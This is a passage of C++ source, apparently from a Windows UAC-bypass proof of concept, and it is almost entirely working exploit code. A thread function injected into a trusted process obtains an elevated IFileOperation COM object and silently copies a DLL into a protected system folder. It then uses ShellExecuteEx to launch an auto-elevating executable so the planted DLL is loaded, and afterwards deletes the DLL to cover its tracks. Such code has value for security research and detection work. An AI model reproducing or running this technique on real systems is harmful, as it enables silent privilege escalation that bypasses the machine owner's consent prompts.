	// of the stick about some of this! Either way, 32-bit version works when built on my older compiler/SDK install and usually doesn't on
	// the newer install.

	InjectArgs * pArgs = reinterpret_cast< InjectArgs * >(lpThreadParameter);
	
	// Use an elevated FileOperation object to copy a file to a protected folder.
	// If we're in a process that can do silent COM elevation then we can do this without any prompts.

	HMODULE hModuleOle32    = pArgs->fpLoadLibrary(pArgs->szOle32);
	HMODULE hModuleShell32  = pArgs->fpLoadLibrary(pArgs->szShell32);

	if (hModuleOle32
	&&	hModuleShell32)
	{
		// Load the non-Kernel32.dll functions that we need.

		W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPVOID pvReserved) >
			tfpCoInitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoInitialize );

		W7EUtils::GetProcAddr< void (STDAPICALLTYPE *)(void) >
			tfpCoUninitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoUninitialize );

		W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) >
			tfpCoGetObject( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoGetObject );

		W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) >
			tfpCoCreateInstance( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoCreateInstance );

		W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) >
			tfpSHCreateItemFromParsingName( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szSHCreateItemFPN );

		W7EUtils::GetProcAddr< BOOL (STDAPICALLTYPE *)(LPSHELLEXECUTEINFOW lpExecInfo) >
			tfpShellExecuteEx( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szShellExecuteExW );

		if (0 != tfpCoInitialize.f
		&&	0 != tfpCoUninitialize.f
		&&	0 != tfpCoGetObject.f
		&&	0 != tfpCoCreateInstance.f
		&&	0 != tfpSHCreateItemFromParsingName.f
		&&	0 != tfpShellExecuteEx.f)
		{
			if (S_OK == tfpCoInitialize.f(NULL))
			{
				BIND_OPTS3 bo;
				for(int i = 0; i < sizeof(bo); ++i) { reinterpret_cast< BYTE * >(&bo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
				bo.cbStruct = sizeof(bo);
				bo.dwClassContext = CLSCTX_LOCAL_SERVER;

				// For testing other COM objects/methods, start here.
				{
					IFileOperation *pFileOp = 0;
					IShellItem *pSHISource = 0;
					IShellItem *pSHIDestination = 0;
					IShellItem *pSHIDelete = 0;

					// This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection.
					if (
						(pArgs->szEIFOMoniker  && S_OK == tfpCoGetObject.f( pArgs->szEIFOMoniker, &bo, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
					||	(pArgs->pIID_EIFOClass && S_OK == tfpCoCreateInstance.f( *pArgs->pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER|CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
						)
					if (0    != pFileOp)
					if (S_OK == pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION))
					if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szSourceDll, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)))
					if (0    != pSHISource)
					if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDir, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)))
					if (0    != pSHIDestination)
					if (S_OK == pFileOp->CopyItem(pSHISource, pSHIDestination, pArgs->szElevDll, NULL))
					if (S_OK == pFileOp->PerformOperations())
					{
						// Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call.
						// (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.)
						SHELLEXECUTEINFO shinfo;
						for(int i = 0; i < sizeof(shinfo); ++i) { reinterpret_cast< BYTE * >(&shinfo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
						shinfo.cbSize = sizeof(shinfo);
						shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
						shinfo.lpFile = pArgs->szElevExeFull;
						shinfo.lpParameters = pArgs->szElevArgs;
						shinfo.lpDirectory = pArgs->szElevDir;
						shinfo.nShow = SW_SHOW;

						if (tfpShellExecuteEx.f(&shinfo) && shinfo.hProcess != NULL)
						{
							// Wait for the "part 2" target process to finish.
							pArgs->fpWaitForSingleObject(shinfo.hProcess, INFINITE);

							pArgs->fpCloseHandle(shinfo.hProcess);
						}

						// Another standard call to IFileOperation, this time to delete our dummy DLL. We clean up our mess.
						if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDllFull, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDelete)))
						if (0    != pSHIDelete)
						if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
						{
							pFileOp->PerformOperations();
						}
					}

					if (pSHIDelete)      { pSHIDelete->Release();      }
					if (pSHIDestination) { pSHIDestination->Release(); }
					if (pSHISource)      { pSHISource->Release();      }
					if (pFileOp)         { pFileOp->Release();         }
				}

				tfpCoUninitialize.f();
			}
		}
	}

	if (hModuleShell32)  { pArgs->fpFreeLibrary(hModuleShell32);  }
	if (hModuleOle32)    { pArgs->fpFreeLibrary(hModuleOle32);    }

	return 0;
}